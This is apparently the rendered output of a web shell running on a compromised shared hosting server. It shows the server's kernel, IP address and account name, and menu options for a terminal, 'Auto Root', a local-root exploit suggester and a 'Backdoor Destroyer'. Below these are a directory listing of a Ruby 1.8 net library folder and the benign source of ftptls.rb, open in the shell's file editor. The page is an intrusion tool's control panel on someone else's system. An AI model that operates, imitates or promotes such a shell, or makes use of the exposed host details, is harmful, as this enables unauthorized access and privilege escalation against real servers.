Linux premium71.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
LiteSpeed
Server IP : 198.187.29.8 & Your IP : 3.148.227.92
Domains :
Cant Read [ /etc/named.conf ]
User : cleahvkv
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
opt /
alt /
ruby18 /
lib64 /
ruby /
1.8 /
net /
Delete
Unzip
Name
Size
Permission
Date
Action
ftp.rb
21.56
KB
-rw-r--r--
2009-11-24 07:11
ftptls.rb
1.22
KB
-rw-r--r--
2007-10-08 11:16
http.rb
63.99
KB
-rw-r--r--
2010-11-22 07:22
https.rb
4.28
KB
-rw-r--r--
2008-06-06 08:05
imap.rb
99.96
KB
-rw-r--r--
2010-11-24 07:38
pop.rb
25.73
KB
-rw-r--r--
2010-11-24 07:38
protocol.rb
7.65
KB
-rw-r--r--
2007-03-19 02:39
smtp.rb
28
KB
-rw-r--r--
2010-06-08 06:14
telnet.rb
31.69
KB
-rw-r--r--
2008-05-18 15:02
telnets.rb
7.82
KB
-rw-r--r--
2007-10-08 11:16
Save
Rename
=begin = $RCSfile$ -- SSL/TLS enhancement for Net::HTTP. = Info 'OpenSSL for Ruby 2' project Copyright (C) 2003 Blaz Grilc <farmer@gmx.co.uk> All rights reserved. = Licence This program is licenced under the same licence as Ruby. (See the file 'LICENCE'.) = Requirements = Version $Id: ftptls.rb 13657 2007-10-08 11:16:54Z gotoyuzo $ = Notes Tested on FreeBSD 5-CURRENT and 4-STABLE - ruby 1.6.8 (2003-01-17) [i386-freebsd5] - OpenSSL 0.9.7a Feb 19 2003 - ruby-openssl-0.2.0.p0 tested on ftp server: glftpd 1.30 =end require 'socket' require 'openssl' require 'net/ftp' module Net class FTPTLS < FTP def connect(host, port=FTP_PORT) @hostname = host super end def login(user = "anonymous", passwd = nil, acct = nil) store = OpenSSL::X509::Store.new store.set_default_paths ctx = OpenSSL::SSL::SSLContext.new('SSLv23') ctx.cert_store = store ctx.verify_mode = OpenSSL::SSL::VERIFY_PEER ctx.key = nil ctx.cert = nil voidcmd("AUTH TLS") @sock = OpenSSL::SSL::SSLSocket.new(@sock, ctx) @sock.connect @sock.post_connection_check(@hostname) super(user, passwd, acct) voidcmd("PBSZ 0") end end end